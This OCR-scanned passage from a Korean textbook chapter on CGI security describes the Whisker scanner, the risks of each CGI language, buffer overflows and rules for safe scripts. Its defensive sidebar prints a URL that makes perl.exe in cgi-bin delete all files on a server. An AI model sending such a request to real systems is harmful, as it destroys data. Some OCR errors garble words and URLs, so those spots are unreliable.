용하기 위하여서는 Whisker . pi 이라는 파일을 열어야 하며 첫행을 다음과 같이 변화시 
켜야 한다. 


# !/ usr / bin/perl 


이 행은 Web 봉사기에 있는 Perl 분석기를 지적하는데 분석기는 여기서 보여 준 경 
로와 차이나는 장소에 있을수 있다. Unix 환경에서 Perl 에 대한 국부경로를 찾기 위하여 
서는 단순히 다음의 지령을 타자칠수 있다. 

Which perl 

일단 이것이 수행되면 위스커가 Web 열람기를 가진 자기한테 접근할수 있는 등록 
부에 거 주하게끔 Web 봉사기 에 로 그것 을 올리 적재해 야 하며 파일들이 자기 봉사기 에 
있으면 그것을 호출하는 Web 열람기를 열어야 한다. 이것은 Web 싸이트의 URL 을 
Web 열 람기 의 주소칸에 입 력 시 켜 수행하는데 주소는 위 스커 를 포함하는 등록부에 의 하 
여 결정되며 파일이름은 whisker . pi 이다. 실례로 만일 싸이트가 www . freebsd.com 
이고 《 Whisker 》 라고 부르는 등록부에 위 스커를 배치 하려고 한다면 URL 
www . freebsd . com / whisker / whisker . pi 을 자기 열람기의 주소칸에 입력시 켜 야 한 
다. 그리고 Enter 건을 누르면 스크립트는 실행되며 그림 4_4에 보여 준 화면을 현시 
할것이다. 
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《Target host to scan 》 라는 표제 가 달린 마당에 검 사하고 싶은 주를퓨터 ( host ) 
를 넣는다. 이 마당에 URL (실례로 www . freebsd . com ) 나 IP 주소를 넣을수 있다. 이 
주소는 위스커가 설치된 URL 나 IP 주소가 되지 말아야 한다. 이 마당에 임의의 Web 4 
이 트를 넣으면 위스커는 그것의 취 약성들에 대 하여 검사한다. 

위 스커 의 CGI 검 사양식 에 있는 두번째 마당은 검 사하려 는 포구를 지 정하는데 리 용된 
다. 기정으로 Web 봉사기는 HTTP 를 요구하는데 포구 80을 리용한다. 하지만 이것은 
Web 봉사기에서 변화될수 있기때문에 다른 포구가 리용될수도 있다. 

그다음 아래 마당들은 무슨 정 보를 검 사결과로 현시 하겠는가를 지 정할수 있게 하는 3 
개의 검사칸들이다. 여기서 러용할수 있는 선택권들은 다음과 같다. 

- Use vitual hosts 

- Display supporting information 


•《Use vitual hosts ) (가상주콤퓨터들을 리용)는 가능한껏 가상주콤퓨터들을 검 
사할수 있게 한다. 가상주콤퓨터 (Vitual host ) 들은 같은 IP 주소를 리용하는 추가 
적 인 령 역 이름들이 다. 이것은 다중 Web 싸이트들을 집결시키는 싸이 트를 제공할 
수 있는 ISP 들에서는 보편적인 일이다. 설사 봉사기가 단일한 IP 주소를 리용한 
다고 할지 라도 매 사람이 단일한 령역 이름(실례로 www . freebsd . com ) 으로 매 
싸이트를 리용하기보다는 각이한 령 역이름으로 리 용할수 있게 하는것 이 더 좋다. 

• (Display supporting information > (지원하는 정보의 현시)라는 검사칸은 결과 
들과 함께 추가적인 정보의 현시를 바랄 때 지정한다. 실례로 Apache Web 봉사 
기가 달리기 시작하면 지원하는 정보는 《Apache prior to 1.2.5 had vorious 
ploblems ) (Apache 1.2.5 이전 판은 다양한 문제거 리들을 가지 고 있다.)를 보여 











줄것이다. 이 설정은 계속 앞으로 나가면서 보충적인 정보를 찾아 낼수 있는 다 
양한 파일들의 경로들과 그것들의 목적들을 폭로할것 이 다. 

•《Verbose results > (보다 구체적인 결과들)은 검사로부터 획득하는 구체적인 정 
보를 제공하는데 리용된다. 

이것들은 검사칸들이기때문에 사용자는 검사로부터 되돌려 지는 정보들을 조종하기 
위하여 그것들을 결합시킬수 있다. 

다음은 요구하는 방법들을 지정 할수 있다. 정보를 복구하기 위 하여 위스커 에 의 하여 
리용될수 있는 4가지 가능한 방법들이 있다. 즉 


- Get 

- Get w/byte-range 

- Get w/socket close 


도구와 함정... 


위스커의 구입과 리용 

가명 《Rain Forest Puppy》 를 쓴 보안감시자가 위스커를 개발하였다. 이것 
* 자기소유의 싸이트에 있는 보안위험들을 밝히는메서 가장 우월한 다중 Web 봉사 
기 들을 위 한 원격 평 가도구이 다. 하지 만 이 도구 역 시 해 킹 목적 들을 위 한 취 약성 들 
을 밝히는데서도 가장 우월한 도구로 된다. 왜냐하면 검사에 다른 URL 들을 지정할 
수 있기때문이다. 다른 사람들이 문제거리들이 있다고 보는 싸이트에서 그것 이 리 
용될 수 있 다는것 을 반드시 알고 있 어 야 한다. 위 스커 는 www. wiretrip. net/rfp 로 
부터 내 리적재하여 리 용할수 있다. 


위 스커 에 의 해 러 용된 기 정방법 이 《Head》 이 다. 이 방법 은 GET 방법 과 득 같지 만 
문서본문들은 되돌리지 않고 오직 HTTP 머리부들만 되돌린다. GET 는 URL 에서 지정한 
자료를 회복하는 방법이다. 응답하는 싸이트는 요구되는 자료를 되돌린다. 이 경우 정보 
는 위 스커 에 의 해 수행 된 검 사결과들일것 이 다. 

사용자는 싸이트, 현시하려는 정 보 그리 고 방법의 지정 을 끝내 고 단순히 《run 
whisker》 를 찰칵하고 현시되는 결과들을 기다리면 된다. 이 CGI 프로그람은 자기 분석 
결과들을 보여 주면서 Web 페지를 만들기때문에 그 봉사기에 있는 다양한 등록부들에로 
하이퍼련결을 실현할수 있다. 이것을 보여 주기 위하여 찰칵할수 있는 파일들을(통과암 
호파일들을 포함하여) 포함한다. 
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제 3 절. CGI 스크립트를 작성하기 위한 언어 


이 장에서 이미 설명한것처럼 ◦(고는 언어가 아니라 사용자열람기로부터 Web 봉사기 
에로 자료를 통과시 킨 다음 응용프로그람을 통과시키는 방법 이 다. 일단 받아 들이면 결 
과들은 그다음 ◦이를 통하여 거꾸로 통과될수 있다. 수많은 언어들이 CGI 스크립트들과 
프로그람들을 만드는데 리용될수 있다. 매 언어들은 여 러가지 우점들과 결함 그리고 보 
안위험들을 가지고 있다. 

CGI 프로그람들을 작성하는데 리 용된 언어 들사이 에 는 두가지 기 본적 인 차이 가 있 다. 
즉 언어는 해석적인 언어이거나 콤파일적인 언어이다. 콤파일식 CGI 프로그람은 C, C++ 
혹은 Visual Basic 와 같은 언어로 작성된다. 이 형태의 프로그람과 원천코드는 우선 를 
파일 러 프로그람을 통하여 달려야 한다. 

콤파일 러 (compiler) 는 원천코드를 프로그람이 달리 는 콤퓨터 가 리 해 할수 있는 기 
계언어 로 변환한다. 일단 콤파일된 다음에 야 프로그람은 실행할수 있는 가능성 을 가지 
게 된다. 해석언어 는 번역 과 실행 을 결합한다. 사용자가 스크립 트의 기능을 요구할 때 
그것은 분석기 (intepreter) 라고 부르는 프로그람을 통하여 달리는데 이것은 그것을 번 
역 하고 실행한다. 실례 로 Perl 스크립 트를 실행할 때 분석 기는 프로그람을 실행할 때 마 
다 번 역한다. 

CGI 프로그람들을 만들기 위하여 해석언어를 리용하든 콤파일언어를 리용하든 관계 
없이 중요한것은 가장 큰 보안론의점 이 프로그람작성자의 손에 달려 있다는것을 깊이 체 
득하는것이다. 부주의는 프로그람에 보안구멍을 낳는 가장 보편적인 원인이다. 우리는 
마음속으로 보안을 가진 프로그람을 작성한다고는 하지만 해커둘은 스크립트를 가지고도 
보다 개선된 어떤 문제거리를 만들어 낼수 있다. 

1. Unix 쉘 

멜 (shell) 지 령들은 쓸모 있는 많은 과제들을 수행 하는데 리 용될수 있다. 사용자가 
Web 봉사기 를 위한 Unix 가동환경 을 리 용한다고 하면 아마 Unix 쉴의 우점 과 이 미 친숙 
해 졌을것이다. 그것들은 일반적으로 보안론의대상이 아닌 빠르면서도 쉬운 CGI 프로그 
탐들을 개발하는데 리용된다. 

이 CGI 프로그람들은 일 반적 으로 봉사기 에 있는 다른 프로그람들을 실 행하는데 리 용 
되 기때 문에 이 외 부프로그람들과 련결된 문제거 리 들과 보안론의점 들을 자동적 으로 이 어 
받는다는것이 득징적이다. 

한편 사용자가 무슨 자료를 달게 받아 들이는가를 검사하는 코드를 Perl, C, C++ 나 
Visual Basic 스크립트로 작성 할수 있는데 이것은 일반적 으로 멜스크립트들이 관계 할바 
가 아니다. 

2. Perl 

Perl 은 Practical Extraction and Reporting Language (실천적 인 용 및 보고서 작성 
언어)의 략어 이 다. 이 언어는 문장론상 C 와 류사한 스크립트작성언어 로서 여 기서 론의 
한 다른 언어들보다 배우기가 쉽다. 비록 이 언어가 새로운 프로그람작성자들을 위한 좋 
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은 선정언어로 된다고 할지라도 복잡한 프로그람작성을 위한 빈약한 선정언어라고 생각 
해서는 절대로 안된다. 이 언어는 강력한 프로그람을 만들수 있는 가능성을 제공하므로 
사용자에게 보안을 제공하는 코드를 얼마든지 실현할수 있는 가능성을 준다. 이 리유로 
하여 Perl 이 보통 CGI 스크립트들을 만드는 보편적인 언어로 되고 있다. 

Perl 은 해석언어이기때문에 프로그람이 호출될 때마다 한걸음씩 번역되고 실행된다. 
이것이 사용자에 의하여 제공된 나쁜 자료가 코드부분에 포함될수 있는 가능성을 증대시 
키는 원인으로 된다. 이것은 프로그람을 오유와 실패에로 몰아 가거나 바라던대로 동작 
하지 못하게 한다. 

Perl 과 관련한 또 하나의 문제거리는 원천코드가 콤파일되지 않기때문에 사용자들이 
잠재 적 으로 원천코드를 볼수 있 다는것 이 다. 따라서 해커 들에 게 보안구멍 들이 발견되 여 
채용될수 있는 좋지 못한 기회가 생길수 있다. 


손상과 방위... 


CGI - BIN 에 지 령 분석 기 를 절대 로 배 치하지 말시 오. 

CGI-BIN 등록부에 지 령 분석 기 를 배 치하지 않는것 이 중요하다. 왜 냐하면 그것 이 
뚜렷 한 상처 를 입 힐수 있는 보안구멍 을 창조하기때 문이 다. 지 령분석 기는 코드에서 
지령들을 분석하는데 리용되는데 이것은 그때 봉사기에서 실행된다. 사용자들이 지 
령분석 기프로그람에 접근하게 하면 그들이 자기 코드를 실행하여 체 계를 해 킹할수 
있는 가능성 이 있다. 

낡은 자료를 읽어 보느라면 이에 대한 모순되는 정보를 찾을수 있는데 거기서 
는 CGI-BIN 에 지 령분석 기 를 배 치 해 야 한다고 특별 히 강조할것 이 다. 이 훈시 는 
Windows NT 를 위 한 Perl 분석 기 (Perl.exe) 를 취 급할 때 문서 화되 였 다. 낡은 문서 
화는 프로그람이 이 등록부에 기억되여야 한다는것을 서술하므로 사용자들은 싸이 
트에서 러용된 임의의 Perl 스크립트들을 마음대로 실행할수 있다. 하지만 Perl.exe 
의 -e 기발은 실행되는 Perl 코드의 코드조각 (smppet) 들을 허락한다. 실례로 사용자 
가 다음과 같은 URL 즉 www. freebsd. com/cgi-bin/per 1 . exe?e+unlink+%3c*% 3e 
을 그 어떤 사람의 열람기에 입력시킨다고 보자. ^ 

이 코드를 지령분석기에 보내면 1freebsd.com 에 있는 모든 등록부의 파일들이 
지워 질것이다. 설사 Perl.exe 와 같은 분석기들을 배치하는것이 편러한것 같고 낡 
은 문서화가 그렇게 된 좋은 원인으로 된다고 해도 이것으로 하여 당신은 쉽게 채 
용될수 있는 위태로운 보안구멍을 열어 놓게 된다. 


3. C / C ++ 

C 와 C++ 는 응용프로그람들을 개 발하기 위한 가장 대중적 인 언어 들로서 CGI 프로그 
탐들을 만드는데도 리용될수 있다. 이 두 언어는 모두 프로그람이 달리기전에 원천코드 
를 기계코드로 반드시 번역하여야 하는 콤파일언어들이다. 따라서 원천코드를 볼수 없으 
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므로 해커들은 보안구멍들에 대하여 코드를 분석 할수 있는 가능성을 잃게 될것 이 다. 

인터네트프로그람이 C 나 C++ 를 가지고 창조될 때 생기는 일반적인 문제거리는 완충 
기자리넘침이다. C 나 C++ 프로그람에서는 고정된 크기의 기억기가 사용자입력를 위해 할 
당된다. 만일 할당된것보다 더 많은 자료가 프로그람에 보내지면 프로그람은 파괴된다. 
완충기를 자리넘침할 때 탄창을 바끌수 있고 승인되지 않은 접근을 취함수 있다. 

이 문제거 리를 인터네트월의 창시자인 로버트 모리스 (Pobert Morris) 가 C 관련우편 
배 달프로그람 (C-based Sendmail Program) 을 공격 할 때 채용하였다. 그가 이 취 약성을 
채용할수 있었던 원인은 C 프로그람작성자들이 리용하는데 충분하다고 보통 생각하는 고 
정된 크기의 기 억기만을 할당할것 이 라는 바로 그것때문이였다. 요구한것보다 더 많은 자 
료를 줌으로써 프로그람은 완충기자리넘침을 발생시키게 된다. 

일반적으로 두개 함수 즉 strcopyO 와 strcatO 가 완충기자리넘침을 야기시킨다. 그 
리유는 프로그람에서 리용되는 문자렬에 대 한 최대길 이를 지정할수 있게 하는 경우가 전 
혀 없다는것 이 다. 요구한것보다 더 많은 자료가 제한없이 리용될수 있는데 이것으로 하 
여 자리넘 침이 생긴다. 자리넘 침을 막자면 대신에 strncpyO 와 strncatO 를 리용하여야 
한다. 이 것 들은 갈은 기 능을 제 공하면서 도 렬 에 최 대 길 이 를 설정 할수 있 다. 

이 문제거리를 피하는 또 다른 방법은 양식에서 사용된 임의의 마당들에 대한 
MAXSIZE 속성을 리용하는것이다. 이것은 사용자가 정상수법들로 넣을수 있는 자료의 
크기를 제한한다. 이렇게 하면 완충기자리넘침에 의한 문제거리를 무심결에 피할수 있다. 
또 다른 리득은 사용자들에게 명백하고 간결하면서도 그것을 받아 들이기전에 자기들이 
무엇을 입력시키는가에 대하여 깊이 생각하게 한다는것이다. 그러나 이것은 해커들이 
Web 봉사기가 차지하고 있는 포구에로 원격등록 (telnet) 할수 있으며 임의의 HTML 나 
JavaScript 검 사들을 우회 할수 있기 때 문에 이 공격 을 멈 추는 완성 된 방법 은 아니 다. 
MAXSIZE 는 오직 도덕 적 인 사용자들을 위한 차림 표로서 만 또 우에서 설명한 자료검 사 
와 관련하여서만 리용되여 야 한다. 

4. Visual Basic 


Visual Basic 는 BASIC (Beginner ’ s All-Purpose Symbolic Instruction Code) 에 
기초하고 있으며 보건대 배우기가 가장 쉽고 가장 위력한 언어로 되고 있다. 최초의 
BASIC 언어와는 달리 VB 는 개발자가 도형사용자대면부 (GUI) 를 통하여 객체지향적으로 
응용프로그람들을 작성할수 있게 한다. 또한 C 나 C++ 와 류사하게 콤파일식 언어이 므로 
사용자들이 원천코드를 볼수 없으며 채용할수 있는 보안구멍들을 찾을수 없다. 

VB 는 Windows NT 나 Windows 2000봉사기들에서 달리는 CGI 응용프로그람들을 
창조하기 위한 가장 대중적인 한가지 언어이다. 

이것은 VB 가 Microsoft 에서 나왔고 Windows 가동환경에서 달리는 응용프로그람들 
을 개발하기 위하여 설계되였기때문이다. 하지만 이것은 봉사기가 다른 가동환경에서 달 
리고 있다면 자기의 CGI 응용프로그람들을 위한 또 다른 언어를 리용해야 한다는것을 의 
미 한다. 
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제 4 절. CGI 스크립트를 리용하는 우월성 


지금껏 취급한 이 장의 내용들을 통하여 우리는 CGI 스크립트들과 프로그람들을 리 
용할 가치가 있는지 없는지를 충분히 가늠할수 있다. 사실 CGI 스크립트가 알맞게 프로 
그람화되였다면 채용되는 그것의 위험은 작아 지고 우점들은 살아 날수 있다. 결국 일부 
싸이트들은 사용자호상작용이 사무를 보는데 필요하기때 문에 CGI 프로그람들이 없 이는 
달릴수 없다. 직결식경매장들은 사용자들이 다양한 항목들에 값을 정하도록 CGI 프로그 
탐들을 요구한다. 상점들은 상품정보를 구매 자들에 게 제공하는 CGI 프로그람들을 리용하 
므로 상품들을 직결로 구매할수 있는 가능성 을 준다. 지 어 많은 전자상거 래싸이트들은 
CGI 프로그람들이 없이는 달릴수 없다. 이와 갈은 직결식상점들은 사용자들이 《판매카 
드》 프로그람에 항목들을 첨 가할수 있게 하는 CGI 프로그람들을 사용하는데 그들은 자기 
들이 사려 고 하는 항목들을 모두 선택할수 있으며 한꺼 번에 그것 들을 구매할수 있 다. 

또한 ◦이는 모든 코드가 봉사기 에서 달리기때문에 리롭다. JavaScript, ActiveX 부 
분품， Java 애플레트 등 의뢰기측 스크립트들과 프로그람들은 모두 사용자의 콤퓨터에서 
달린다. 그러 나 이것은 명수급 해커들에게 이 정보를 리용하여 싸이트를 공격할수 있는 
가능성을 지 어 준다. 우리는 콤파일한 프로그람들속에 CGI 코드를 숨기면서 다양한 등록 
부들과 이 장에서 론의한 기타 방법들에 대한 허 락들을 조종하여 자기자신을 보호할수 
있 다 

많은 경우 ◦이와 관련한 문제거리들은 프로그람을 작성하고 코드에 잘못을 저지른 
사람에게로 거꾸로 돌아 간다. 보안을 마음속으로 항상 간주하면 이 장에서 론의한 많은 
론의점들을 피할수 있으며 CGI 스크립트들과 프로그람들을 리용할 때 생 기는 문제거 리들 
을 흘륭히 피할수 있 다. 


제 5 절. 안전한 CGI 스크립트를 작성하기 위한 규칙 


CGI 스크립 트들과 프로그람들을 알맞게 작성하는데서 다음의 코드작성 실천들을 따르 
는것 이 일반적 인 실수를 피하는데서 매우 중요한 문제로 된다. CGI 프로그람들을 리용할 
때 자기 싸이트보안과 관련한 수많은 규칙들이 있다. 즉 

• 사용자호상작용을 제 한할것 

• 사용자들로부터 받은 입력을 믿지 말것 

• 민감한 자료를 보내는데 GET 를 사용하지 말것 

• 스크립트내에 민감한 정보를 절대로 포함시키지 말것 

• 절대적으로 필요하지 않는이상 접근을 주지 말것 

• Web 봉사기 가 아닌 다른 콤퓨터 에서 프로그람을 작성 하며 스크립 트림 시파일들과 
여 벌 파일 (backup file) 들이 싸이 트가 살아 움직 이 기 전에 봉사기 로부터 지 워 졌는 
가를 확인할것 

• 임의의 제 3 부류 CGI 프로그람들의 원천코드를 2 중으로 검사할것 

• 예견할수 없는 거동을 강요하려고 시도하는 사용자의 활동을 모방하지 않은 자료 
를 입력시켜 스크립트를 검사할것 

그러면 렬거 한 이 규칙들을 보다 구체적 으로 고찰해 보자. 
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① 사용자호상작용을 제 한할것 

CGI 스크립트를 채용하는 일반적인 방법은 사용자호상작용을 허락하고 스크립트를 
리용하는것 이 다. 유감이 지 만 가장 많은 CGI 스크립 트들의 론점 은 사용자로부터 입 구를 
엄고 출구를 되돌림으로써 이루어 지는 호상작용하는 Web 싸이트를 창조하는것이다. 일 
반적 으로 이것은 방문자들이 정 보를 넣 기 위하여 리용할수 있는 마당들을 제 공하는 
Web 싸이 트에 있는 양식들을 통하여 수행된다. 사용자호상작용에 의하여 일 어 날수 있 
는 문제 거 리 들에 대 한 실 례 들은 손님 책 (guest book) 들 인 데 이 것 은 사용자가 Web 페 지 
에 부가하는 형식으로 설명문들을 넣을수 있게 한다. 다른 사용자들은 그때 싸이트를 방 
문한 다른 사람들의 설명 문들을 볼수 있다. 해커는 봉사기측 포함물 (SSI:Server-Side 
Include) 들처럼 코드를 손님책의 설명문구역에 넣을수 있는데 이것은 그때 손님책 Web 
페지에 첨가될것이다. 이 설명문들을 포함하는 Web 폐지를 또 다른 사용자가 방문할 때 
바로 그 코드가 실행될것 이 다. 

많은 CGI 스크립트들의 고유한 목적으로 하여 우리는 호상작용에 대한 경고가 중요 
하지 않다고 생각할수도 있다. 이것은 사실과 맞지 않는다. 사용자들로부터 받은 입구는 
내리펼침목록들，검사칸들 기타 자료를 접수하는 방법들을 통하여 조종될수 있다. 이와 
같이 하여 싸이 트를 공격하는데 리 용할수 있는 정 보입 력 으로부터 사용자들을 보호한다. 

② 사용자들로부터 받은 입구를 믿지 말것 

지어 사용자호상작용이 조종되였다고 해도 양식과 CGI 스크립트를 악용할수 있는 가 
능성은 여전히 남아 있다. 사용자들은 스크립트로써는 바랄수도 없는 정확하지 않은 자 
료를 입력시키거나 서로 정확히 동작하지 않는 스크립트나 양식을 악용할수 있다. 이것 
은 서로 다른 두사람이 Web 페지에서 리용한 스크립트와 양식들을 작성할 때 일어 날수 
있다. 이 러한 경우에 사용자는 스크립트로서 기대한것보다 더 많은 본문을 입 력시 킬수 
있으며 혹은 양식은 스크립트에 의하여 지원되지 않는 선택을 제공하는 선택권단추나 검 
사칸을 가질수 있다. 이로 하여 CGI 스크립트에 있는 코드는 그것을 나쁜 정보로 인식하 
고 그것을 무시할것 이 다. 

③ 민감한 자료를 보내는데 GET 명 령을 사용하지 말것 

만일 GET 방법 을 리 용하면 개 발자는 이 방법 이 설정한계 를 자체 제 한하기 때 문에 그 
에 대 하여 의 심하지 말아야 한다. GET 방법 은 스크립 트에 대 한 키 로바이 트자료에 대 해 
서만 넘겨 줄것이다. 게다가 Web 봉사기는 배치된 자료의 크기를 QUERY_STRING 환 
경변수로 자동적으로 제한할수 있는데 이것은 GET 방법이 CGI 스크립트에로 자료를 어 
떻 게 통과시 키 는가를 결 정한다. 하지 만 만일 GET 방법 이 리용된 다면 그것 은 URL 렬 에 
있는 임 의 의 QUERY_STRING 정 보를 포함할것 이 다. 이 것 은 CGI 스크립 트의 내 부동작과 
정들을 쉽게 볼수 있巧 하기때문에 해커들에게는 매우 흥미 있는 일로 된다. 만일 우리 
가 www. host, com/cai-bto/print. ealfflle to 液 rtot'"ftte.txt 를 보 고 있 다 면 
file_to_print 파라메 터 를 변화시 키는것은 매 혹적 이 다. 사용한 방법 에 관계 없이 이 정 보를 
얻는 士법 이 있다 할지라도 좋은 보안을 세우지 않고서는 마음에 들지 않는 어떤 방정맞 
을 일 들만 생긴 다. 

PQST 방법 은 선택 적 으로 리용되 여 야 한다. 스크립 트는 자료를 받아 들일 만한 크기 
로 한계 를 설정 하여 정 확치 않은 자료는 무시하도록 해 야 한다. 실례 로 만일 변수가 사 
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탐의 이름을 되 돌린다면 되돌려 지는 자료만 한 길이를 설정 할 수 있 다. 
CONTENT_LENGTH 와 같은 변수들을 검사하여 스크립트에로 통과하는 자료의 지나친 
크기 를 무시할수 있다. 결과 해커 는 프로그람을 파괴 시 킬 목적 으로 커 다란 크기를 가진 
자료를 통과시키는 기회들을 많이 가지지 못한다. 

민감한 자료가 CGI 프로그람에 로 전송될 때 에는 GET 방법 을 절대 로 리용하여서는 
안된다. 이것은 임의의 GET 지 령 이 URL 에 나타나기때 문에 임의의 봉사기 들에 의하여 
등록될것이다. 실례로 신용카드정보를 GET 방법을 리용하는 식으로 입력시켰다고 하자. 즉 
http : //www. freebsd. com/card. asp?cardnum=1244567890123456 
보는것처럼 GET 방법은 신용카드번호를 URL 에 붙인다. 이것은 봉사기가입등록에 접근 
할수 있는 누구든지 이 정 보를 얻 을수 있 다는것 을 의 미한다. 


도구와 함정... 


봉사기측 포함물 

봉사기측 포함물 (SSI:Server-side Includes) 들은 HTML 문서들에 매몰된 봉사 
기지령들이므로 CGI 스크립트들과 함께 리용될수 있다. SSI 는 봉사기정보(봉사기의 
날자와 시 간과 같은 정보)를 얻거나 다양한 체계지 령들을 실행할수 있게 한다. 문 
제거려는 보안 없는 스크립트에서 리용될 때 혹은 정확한 SSI 지령들이 러용될수 있 
는 가능성이 있는 체계에 있을 때 해커는 수많은 원하지 않는 행동들을 할수 있으 
며 체계를 침해할수 있다. 많은 Web 봉사기들은 사용자가 SSI 를 차단하게 하며 일 
부는 그에게 어떤 SSI 지령들이 리용되는가를 조종할수 있게 한다. Web 봉사기가 어 
떤 지령들이 허용되지 않을수 있다는것을 결정하게 한다면 볼수 있는 봉사기문서를 
검 열하시 오. SSI 로부터 초래 될수 있는 문제 거 리 들을 푸는 가장 좋은 보안대 책 은 
체계로부터 SSI 를 허용하지 않음으로써 이 지령들이 채용될수 없게 만드는것이다. 


貧) 스크립트내에 민감한 정보를 절대로 포함시키지 말것 

이 따금 자기 의 CGI 프로그람에 사용자이 름들과 통과암호들을 포함시키 는데 민감한 
정 보를 리 용한것을 찾아 볼수 있으며 또한 CGI 프로그람이 양식자료로부터 자료기지 에 로 
통과한 이 정보를 가진다는것을 알수 있다. 만일 코드에 이 정보가 포함되여 있다면 원 
천코드를 호출할수 있는 해커들이 바로 이 정보를 볼수 있다는것을 명심해야 한다. 만일 
콤파일언어를 리용하면 이것은 보다 어렵게 될것이다. 하여튼 관계없이 절대적으로 필요 
하지 않는이상 정보를 보여 주지 말아야 한다. 코드에 통과암호와 사용자이름들을 포함 
시키면 가능한 보안위 험을 조성할수 있다. 

⑤ 절대적으로 필요하지 않는이상 접근을 주지 말것 

같은 견지 에 서 볼 때 우리 는 사용자에게 필요한 과제 수행 을 위해 절대 적 으로 펼요 
하지 않는이상은 접근을 제공하지 말아야 한다. 이것은 봉사기 에 각이한 사용자등록자 


119 





리들을 할당하도록 하는데 리용될뿐아니라 역시 자료를 호출하는데도 리용된다. 실례로 
만일 프로그람이 sql 봉사기자료기 지 에 접 근한다면 우리 는 《Sa》 라는 등록자리 (이 것 
은 체계관리자등록자리 이다.)를 리용하기를 바라지 않을것 이 다. 이 뚜렷한 능력을 사용 
자들에게 주면 해커는 그 우월성을 발휘할수 있으며 민감한 자료에 대한 접근을 진행할 
수 있다. 

■ Web 봉사기가 아닌 다른 를퓨터 에서 프로그람을 작성하며 스크립트 림시파일들과 
여벌파일들이 싸이트가 살아 움직이기전에 봉사기로부터 지워 졌는가를 확인할것 

우리는 자기의 CGI 스크립트들과 프로그람들을 Web 봉사기와 다른 콤퓨터에서 프로 
그람화해야 한다. 그렇게 함으로써 마치 프로그람을 작성하고 있는것처럼 코드를 몰래 
변화시키는 해커들에 의 한 그것의 리용가능성을 피할것 이 다. 이것은 또한 하드디스크에 
있는 림시파일과 여 벌파일들에 접근하는 해커들의 기회들을 제시한다. 만일 C 나 C++ 와 
같은 언어들을 리용하면 코드는 그것이 Web 봉사기에서 실행에 리용되기전에 를파일된 
다. 이것은 우리에게 원천코드를 읽을수 있는 사람이 없다고 생각하게 만들수 있다. 하 
지만 자기의 싸이트가 살아 움직이기전에 Web 봉사기로부터 CGI 프로그람을 위한 원천코 
드를 지운다고 하면 득 여벌파일이나 림시파일들이 봉사기에 전혀 남아 있지 않다는것을 
확인하여 야 한다. 이 파일들은 코드가 프로그람화될 때 창조될수 있으므로 이것들을 호 
출할 때 해커들은 파일들에 접근할수 있으며 원천코드를 볼수 있다. 

f) 임의의 계3부류 CGI 프로그람들의 원천코드를 2중으로 검사할것 

만일 제3부류 CGI 프로그람들을 리용하면 우리는 반드시 있을수 있는 임의의 보안구 
멍들에 대하여 원천코드를 심사하여야 한다. 봉사기에 대한 접근을 얻기 위한 간단한 방 
법은 다른 사람들에게 리용될수 있는 CGI 프로그람을 만드는것 이며 자기 에게 얻은 정 보 
를 보내는 코드를 포함시키는것이다. 싸이트에서 그것을 리용할수 있도록 하기전에 프로 
그람의 원천코드를 훑어 보면 이 위협을 식별할수 있다. 만일 CGI 프로그람이 자기의 원 
천코드를 리용할수 없게 만들거나 CGI 프로그람작성자가 믿을만한 사람인지를 확인하지 
못하면 우리는 그 프로그람을 리용하는것을 전부 피해야 한다. 

⑧ 예견할수 없는 거동을 강요하려고 시도하는 사용자의 활동을 모방하지 않은 자료 
를 입력시켜 스크립트를 검사할것 

검사는 아무런 프로그람작성 에서나 항상 중요한 부분이 다. 대중적 인 프로그람으로 
사용될 수 있는 CGI 프로그람들을 만들기전에 그것 들을 전반에 걸 쳐 검 사하여 야 한다. 
가명 붙은 사용자의 등록자리 를 비 롯하여 서 로 다른 다양한 사용자등록자리 들을 리용해 
보시오. 그러면 스크립트에 누가 접근할수 있는가를 볼수 있으며 그들이 알맞는 등록자 
리들을 가지고 작업하는가를 알수 있다. 스크립트가 프로그람들을 어떻게 처리하는가를 
보기 위하여 정 확치 않은 자료를 입 력시켜 보시 오. CGI 스크립 트를 다양한 입 력과 공정 
들을 처 리 하는 단계들을 거 치게 함으로써 우리는 해커 가 하기전에 문제거 리들을 찾을수 
있 다. 
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CGI 스크립트를 보관하기 


Web 봉사기를 설치할 때 다양한 파일들을 기 억하기 위한 기정등록부들이 만들어 진 
다. 그림 4-5 에서 보여 준것 처 럼 이 것은 환경 설 치파일들을 위한 등록부, 가입 등록을 위 
한 등록부， HTML 문서들과 CGI 스크립트들을 위한 등록부들로 이루어 진다. 일반적으로 
CGI 스크립트들과 프로그람들을 기 억시키는데 러용된 등록부를 CGI-BIN 이 라고 부론다. 



a 




그림 4-5. Web 봉사기의 등록부구조의 실례 


그림 4-5 에서 볼 때 HTML 등록부(이것은 Web 페지들과 Web 싸이 트를 위 한 다른 내 
용물들을 기 억하는데 리용된다.)는 CGI-BIN 등록부 (CGI 스크립트와 프로그람들을 기 억하 
는데 리용된다.)와 구별되는 등록부이다. CGI 스크립트들과 프로그람들을 싸이트를 위한 
다른 내용물들과 구별되는 등록부에 보관하기때문에 사용자들은 일반적으로 Web 열람기 
를 가지고 CGI-BIN 등록부의 내용물들을 볼수 없다. 우리는 www.syngress. ⑴ m 과 같 
은 URL 을 입 력시 켜 Web 싸이 트에 접근할 때 기정 Web 폐지 (default.htm 나 index.htm) 
가 사용자에게 현시된다는것을 알수 있다. 이 Web 폐지 즉 싸이트에 접근한 임의의 다 
른 HTML 문서는 HTML 문서들을 기억하는 지정된 등록부에 보관된다. 그림 4_5의 경우 
에 이 등록부를 HTML 라고 부론다. 한편 사용자들은 HTML 등록부내에 있는 부분등록 
부들에는 마음대로 접근할수 있지만 이 등록부의 웃쪽으로(뿌리등록부쪽으로) 올라 가는 
데서는 허락상 제한 받는다. 만일 허락을 하면 사용자들에게 Web 봉사기를 달리는데 리 
용한 파일들에 접근할수 있는 가능성을 줄것 이 다. CGI-BIN 은 HTML 문서들을 보관하기 
위하여 리 용된 등록부들과 구별되 기때 문에 이것은 등록부구조를 검 색하여 CGI-BIN 을 
찾아 그안의 임의의 스크립트들을 제 마음대로 읽지 못하게 사용자들을 방조할것이다. 

HTML 문서 들을 기 억하는데 리용되 는 등록부는 일 반적 으로 문서뿌리등록부로서 참 
조된다. 수많은 Web 봉사기들은 Web 페지들과 도형들 그리고 기 타 Web 싸이트에 리용된 
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요소들에 따르는 CGI 스크립트들과 프로그람들을 이 등록부에 놓게 할것 이 다. 

이것은 문서뿌리등록부에 기 억된 파일들이 모든 사용자들에게 읽기허 락을 주기때문 
에 보안위험을 나타낸다. 결과 사용자들은 Web 폐지들을 읽을수 있으며 인터네트열람기 
에서 그것들을 볼수 있다. 만일 CGI 스크립트들이 이 권리를 가지고 등록부에 배치되면 
